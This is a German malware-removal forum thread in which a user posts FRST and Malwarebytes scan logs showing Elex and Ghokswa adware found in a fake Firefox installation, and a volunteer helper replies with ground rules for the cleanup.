2017-04-06 03:08 - 2017-02-16 11:55 - 00000000 ____D C:\ProgramData\Blizzard Entertainment

2017-04-06 01:18 - 2017-03-04 07:34 - 00000000 ____D C:\Users\Andy\Documents\StarCraft II

2017-04-06 01:18 - 2017-02-16 11:54 - 00000000 ____D C:\Users\Andy\AppData\Local\Blizzard Entertainment

2017-04-03 18:56 - 2017-03-18 23:06 - 00835576 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe

2017-04-03 18:56 - 2017-03-18 23:06 - 00177656 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl

2017-03-30 22:33 - 2017-02-16 11:57 - 00000000 ____D C:\ProgramData\Skype

2017-03-28 05:32 - 2017-03-23 19:29 - 00057792 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvvhci.sys

2017-03-28 05:32 - 2017-02-16 02:27 - 01882048 _____ (NVIDIA Corporation) C:\Windows\system32\nvspcap64.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 01755072 _____ (NVIDIA Corporation) C:\Windows\system32\nvspbridge64.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 01472960 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvspcap.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 01317312 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvspbridge.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 00121280 _____ C:\Windows\system32\NvRtmpStreamer64.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 00047552 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvvad64v.sys
 

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======
 

2017-03-14 05:08 - 2017-03-14 05:08 - 0000057 _____ () C:\ProgramData\Ament.ini

2017-04-14 02:41 - 2017-04-14 02:41 - 0000000 ____H () C:\ProgramData\DP45977C.lfl
 

Einige Dateien in TEMP:

====================

2017-04-22 11:13 - 2017-04-22 11:13 - 0040448 ____N () C:\Users\Andy\AppData\Local\Temp\proxy_vole2986111824963999506.dll

2017-04-22 11:13 - 2017-04-22 11:13 - 0040448 ____N () C:\Users\Andy\AppData\Local\Temp\proxy_vole4491335982731241634.dll

2017-04-22 11:13 - 2017-04-22 11:13 - 0040448 ____N () C:\Users\Andy\AppData\Local\Temp\proxy_vole8597607925173856835.dll

2017-04-23 02:40 - 2017-04-23 02:40 - 0192512 _____ () C:\Users\Andy\AppData\Local\Temp\sfamcc00001.dll
 

==================== Bamital & volsnap ======================
 

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)
 

C:\Windows\system32\winlogon.exe => Datei ist digital signiert

C:\Windows\system32\wininit.exe => Datei ist digital signiert

C:\Windows\explorer.exe => Datei ist digital signiert

C:\Windows\SysWOW64\explorer.exe => Datei ist digital signiert

C:\Windows\system32\svchost.exe => Datei ist digital signiert

C:\Windows\SysWOW64\svchost.exe => Datei ist digital signiert

C:\Windows\system32\services.exe => Datei ist digital signiert

C:\Windows\system32\User32.dll => Datei ist digital signiert

C:\Windows\SysWOW64\User32.dll => Datei ist digital signiert

C:\Windows\system32\userinit.exe => Datei ist digital signiert

C:\Windows\SysWOW64\userinit.exe => Datei ist digital signiert

C:\Windows\system32\rpcss.dll => Datei ist digital signiert

C:\Windows\system32\dnsapi.dll => Datei ist digital signiert

C:\Windows\SysWOW64\dnsapi.dll => Datei ist digital signiert

C:\Windows\system32\Drivers\volsnap.sys => Datei ist digital signiert
 

LastRegBack: 2017-04-14 02:40
 

==================== Ende von FRST.txt ============================

Malwarebytes infizierter Scan 1

Code:

Malwarebytes

www.malwarebytes.com
 

-Protokolldetails-

Scan-Datum: 21.04.17

Scan-Zeit: 01:19

Protokolldatei: Malware.txt

Administrator: Ja
 

-Softwaredaten-

Version: 3.0.6.1469

Komponentenversion: 1.0.103

Version des Aktualisierungspakets: 1.0.1772

Lizenz: Kostenlos
 

-Systemdaten-

Betriebssystem: Windows 10

CPU: x64

Dateisystem: NTFS

Benutzer: ANDREAS-PC\Andy
 

-Scan-Übersicht-

Scan-Typ: Benutzerdefinierter Scan

Ergebnis: Abgeschlossen

Gescannte Objekte: 573079

Abgelaufene Zeit: 1 Std., 57 Min., 2 Sek.
 

-Scan-Optionen-

Speicher: Aktiviert

Start: Aktiviert

Dateisystem: Aktiviert

Archive: Aktiviert

Rootkits: Aktiviert

Heuristik: Aktiviert

PUP: Aktiviert

PUM: Aktiviert
 

-Scan-Details-

Prozess: 1

Adware.Elex, C:\PROGRAM FILES (X86)\FIREFOX\BIN\FIREFOXUPDATE.EXE, In Quarantäne, [2], [363497],1.0.1772
 

Modul: 1

Adware.Elex, C:\PROGRAM FILES (X86)\FIREFOX\BIN\FIREFOXUPDATE.EXE, In Quarantäne, [2], [363497],1.0.1772
 

Registrierungsschlüssel: 2

Adware.Elex, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\FirefoxU, Löschen bei Neustart, [2], [363497],1.0.1772

Adware.Ghokswa, HKU\S-1-5-21-1446151640-2387740664-487604262-1001_Classes\CHROMEHTML, Löschen bei Neustart, [314], [-1],0.0.0
 

Registrierungswert: 2

Adware.Ghokswa, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\FIREWALLRULES|{E93EBBB3-4DCE-42E3-BFB2-F6E547C98691}, Löschen bei Neustart, [314], [391309],1.0.1772

PUP.Optional.Ghokswa.Generic, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\FirefoxU|IMAGEPATH, Löschen bei Neustart, [680], [306582],1.0.1772
 

Registrierungsdaten: 0

(keine bösartigen Elemente erkannt)
 

Daten-Stream: 0

(keine bösartigen Elemente erkannt)
 

Ordner: 0

(keine bösartigen Elemente erkannt)
 

Datei: 3

Adware.Elex, C:\PROGRAM FILES (X86)\FIREFOX\BIN\FIREFOXUPDATE.EXE, Löschen bei Neustart, [2], [363497],1.0.1772

PUP.Optional.Elex, C:\USERS\ANDY\APPDATA\ROAMING\FIREFOX\FIREFOX\PROFILES\LQXTFC5F.DEFAULT\EXTENSIONS\@E97YHOMI-FU8L-IM23-VUT9-RVDZT7M8XL8H.XPI, Löschen bei Neustart, [8], [335422],1.0.1772

PUP.Optional.Elex, C:\USERS\ANDY\APPDATA\ROAMING\FIREFOX\FIREFOX\PROFILES\LQXTFC5F.DEFAULT\EXTENSIONS\@H99KV4DO-UCCF-9PFO-9ZLK-8RRP4FVOKD9O.XPI, Löschen bei Neustart, [8], [335422],1.0.1772
 

Physischer Sektor: 0

(keine bösartigen Elemente erkannt)
 
 

(end)

die 2 Weiteren Malwarebyte Scans, einer ist leider zu groß, wäre nr. 3 von 4:

Malwarebytes infizierter Scan 2:

Code:

Malwarebytes

www.malwarebytes.com
 

-Protokolldetails-

Scan-Datum: 21.04.17

Scan-Zeit: 03:20

Protokolldatei: malware2.txt

Administrator: Ja
 

-Softwaredaten-

Version: 3.0.6.1469

Komponentenversion: 1.0.103

Version des Aktualisierungspakets: 1.0.1772

Lizenz: Kostenlos
 

-Systemdaten-

Betriebssystem: Windows 10

CPU: x64

Dateisystem: NTFS

Benutzer: ANDREAS-PC\Andy
 

-Scan-Übersicht-

Scan-Typ: Bedrohungs-Scan

Ergebnis: Abgeschlossen

Gescannte Objekte: 395219

Abgelaufene Zeit: 1 Min., 5 Sek.
 

-Scan-Optionen-

Speicher: Aktiviert

Start: Aktiviert

Dateisystem: Aktiviert

Archive: Aktiviert

Rootkits: Deaktiviert

Heuristik: Aktiviert

PUP: Aktiviert

PUM: Aktiviert
 

-Scan-Details-

Prozess: 0

(keine bösartigen Elemente erkannt)
 

Modul: 0

(keine bösartigen Elemente erkannt)
 

Registrierungsschlüssel: 0

(keine bösartigen Elemente erkannt)
 

Registrierungswert: 0

(keine bösartigen Elemente erkannt)
 

Registrierungsdaten: 0

(keine bösartigen Elemente erkannt)
 

Daten-Stream: 0

(keine bösartigen Elemente erkannt)
 

Ordner: 14

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\VisualElements, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\extensions, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\features, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\gmp-clearkey\0.1, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\defaults\pref, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\dictionaries, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\gmp-clearkey, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\uninstall, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\defaults, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\fonts, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\bin, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\PROGRAM FILES (X86)\FIREFOX, Löschen bei Neustart, [13], [306581],1.0.1772

Adware.Elex, C:\USERS\ANDY\APPDATA\LOCAL\TEMP\FABE8.TMP, Löschen bei Neustart, [2], [390133],1.0.1772
 

Datei: 113

PUP.Optional.Ghokswa, C:\PROGRAM FILES (X86)\FIREFOX\BIN\FIREFOXUPDATE.EXE, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\extensions\@E97YHOMI-FU8L-IM23-VUT9-RVDZT7M8XL8H.xpi, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}.xpi, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\features\aushelper@mozilla.org.xpi, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\features\e10srollout@mozilla.org.xpi, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\features\firefox@getpocket.com.xpi, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\features\webcompat@mozilla.org.xpi, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\VisualElements\VisualElements_150.png, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\VisualElements\VisualElements_70.png, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\blocklist.xml, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\chrome.manifest, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\crashreporter-override.ini, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\browser\omni.ja, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\defaults\pref\channel-prefs.js, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\dictionaries\en-US.aff, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\dictionaries\en-US.dic, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\fonts\EmojiOneMozilla.ttf, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\gmp-clearkey\0.1\clearkey.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\gmp-clearkey\0.1\clearkey.info, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\uninstall\helper.exe, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\Accessible.tlb, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\AccessibleMarshal.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-file-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-file-l1-2-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-file-l2-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-handle-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-heap-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-interlocked-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-libraryloader-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-localization-l1-2-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-memory-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-namedpipe-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-processenvironment-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-processthreads-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-profile-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-rtlsupport-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-string-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-synch-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-synch-l1-2-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-sysinfo-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-timezone-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-util-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-conio-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-convert-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-environment-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-filesystem-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-heap-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-console-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-datetime-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-debug-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-math-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-multibyte-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-private-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-process-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-runtime-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-stdio-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-string-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-time-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-utility-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\application.ini, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-errorhandling-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-core-processthreads-l1-1-1.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\api-ms-win-crt-locale-l1-1-0.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\IA2Marshal.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\nss3.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\breakpadinjector.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\chrome.manifest, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\crashreporter.exe, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\crashreporter.ini, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\d3dcompiler_47.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\dependentlibs.list, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\Firefox.exe, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\firefox.VisualElementsManifest.xml, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\freebl3.chk, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\freebl3.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\lgpllibs.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\libEGL.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\libGLESv2.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\maintenanceservice.exe, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\maintenanceservice_installer.exe, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\minidump-analyzer.exe, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\mozavcodec.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\mozavutil.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\mozglue.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\msvcp140.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\nssckbi.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\nssdbm3.chk, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\nssdbm3.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\omni.ja, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\platform.ini, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\plugin-container.exe, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\plugin-hang-ui.exe, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\precomplete, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\qipcap.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\removed-files, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\softokn3.chk, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\softokn3.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\ucrtbase.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\upclient, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\update-settings.ini, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\updater.exe, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\updater.ini, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\vcruntime140.dll, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\wow_helper.exe, Löschen bei Neustart, [13], [306581],1.0.1772

PUP.Optional.Ghokswa, C:\Program Files (x86)\Firefox\xul.dll, Löschen bei Neustart, [13], [306581],1.0.1772

Adware.Elex, C:\USERS\ANDY\APPDATA\LOCAL\TEMP\FABE8.TMP\QQBROWSER.EXE, Löschen bei Neustart, [2], [390133],1.0.1772

Adware.Elex, C:\Users\Andy\AppData\Local\Temp\fABE8.tmp\CJ, Löschen bei Neustart, [2], [390133],1.0.1772

Adware.Elex, C:\Users\Andy\AppData\Local\Temp\fABE8.tmp\CPK.exe, Löschen bei Neustart, [2], [390133],1.0.1772

Adware.Elex, C:\Users\Andy\AppData\Local\Temp\fABE8.tmp\QQBrowserFrame.dll, Löschen bei Neustart, [2], [390133],1.0.1772

Adware.Elex, C:\Users\Andy\AppData\Local\Temp\fABE8.tmp\SJ, Löschen bei Neustart, [2], [390133],1.0.1772

PUP.Optional.Elex, C:\USERS\ANDY\APPDATA\ROAMING\FIREFOX\FIREFOX\PROFILES\lqxtfc5f.default\EXTENSIONS\@E97YHOMI-FU8L-IM23-VUT9-RVDZT7M8XL8H.xpi, Löschen bei Neustart, [8], [335422],1.0.1772

PUP.Optional.Elex, C:\USERS\ANDY\APPDATA\ROAMING\FIREFOX\FIREFOX\PROFILES\lqxtfc5f.default\EXTENSIONS\@H99KV4DO-UCCF-9PFO-9ZLK-8RRP4FVOKD9O.xpi, Löschen bei Neustart, [8], [335422],1.0.1772

PUP.Optional.SearchInMe, C:\USERS\ANDY\APPDATA\ROAMING\FIREFOX\FIREFOX\PROFILES\LQXTFC5F.DEFAULT\SEARCHPLUGINS\STARTSEARCH.XML, Löschen bei Neustart, [1248], [384145],1.0.1772
 

Physischer Sektor: 0

(keine bösartigen Elemente erkannt)
 
 

(end)

Malwarebytes Infizierter Scan 3 (Zu groß, 600KB Textdatei, kommt in Anhang als .zip)

Malwarebytes infizierter Scan 4:

Code:

Malwarebytes

www.malwarebytes.com
 

-Protokolldetails-

Scan-Datum: 23.04.17

Scan-Zeit: 23:19

Protokolldatei: scan4.txt

Administrator: Ja
 

-Softwaredaten-

Version: 3.0.6.1469

Komponentenversion: 1.0.103

Version des Aktualisierungspakets: 1.0.1793

Lizenz: Testversion
 

-Systemdaten-

Betriebssystem: Windows 10

CPU: x64

Dateisystem: NTFS

Benutzer: ANDREAS-PC\Andy
 

-Scan-Übersicht-

Scan-Typ: Bedrohungs-Scan

Ergebnis: Abgeschlossen

Gescannte Objekte: 395845

Abgelaufene Zeit: 2 Min., 4 Sek.
 

-Scan-Optionen-

Speicher: Aktiviert

Start: Aktiviert

Dateisystem: Aktiviert

Archive: Aktiviert

Rootkits: Aktiviert

Heuristik: Aktiviert

PUP: Aktiviert

PUM: Aktiviert
 

-Scan-Details-

Prozess: 0

(keine bösartigen Elemente erkannt)
 

Modul: 1

Adware.Elex, C:\PROGRAMDATA\MICROSOFT\OFFICE\PACKAGELOCKER.DLL, In Quarantäne, [2], [392465],1.0.1793
 

Registrierungsschlüssel: 1

Adware.Elex, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\WindowsOfficeSrv, In Quarantäne, [2], [392409],1.0.1793
 

Registrierungswert: 0

(keine bösartigen Elemente erkannt)
 

Registrierungsdaten: 0

(keine bösartigen Elemente erkannt)
 

Daten-Stream: 0

(keine bösartigen Elemente erkannt)
 

Ordner: 0

(keine bösartigen Elemente erkannt)
 

Datei: 1

Adware.Elex, C:\PROGRAMDATA\MICROSOFT\OFFICE\PACKAGELOCKER.DLL, In Quarantäne, [2], [392465],1.0.1793
 

Physischer Sektor: 0

(keine bösartigen Elemente erkannt)
 
 

(end)

:hallo:

Ich habe dein Thema in Arbeit und melde mich so schnell als möglich mit weiteren Anweisungen.

Bitte beachte, dass alle meine Antworten zuerst von einem Ausbilder freigegeben werden müssen, bevor ich diese hier posten darf. Dies garantiert, dass Du Hilfe von einem ausgebildeten Helfer bekommst.

Ich bedanke mich für deine Geduld :)

Hallo und :hallo:

Bevor wir beginnen beachte bitte Folgendes:

Installiere/Deinstalliere bitte nichts während wir hier an deinem Problem arbeiten
Speicher alle unsere Tools auf dem Desktop ab (das ist später wichtig!)
Poste die Logs immer in CODE-Tags (#-Button), zur Not die Logs einfach auf mehrere Posts aufteilen
Falls vorhanden: Logs die jünger als 1 Monat sind bitte posten
Verwende keine weiteren Tools ohne Aufforderung
Wichtig: Auch wenn dein Problem behoben scheint kann dein System noch infiziert sein, arbeite also bitte weiter bis ich dir ein "Clean" gebe

Hinweis:
Ich kann Dir niemals eine Garantie geben, dass wir alle schädlichen Dateien finden werden.
Eine Formatierung ist meist der schnellere und immer der sicherste Weg, aber auch nur bei wirklicher Malware empfehlenswert.
Adware & Co. können wir sehr gut entfernen.
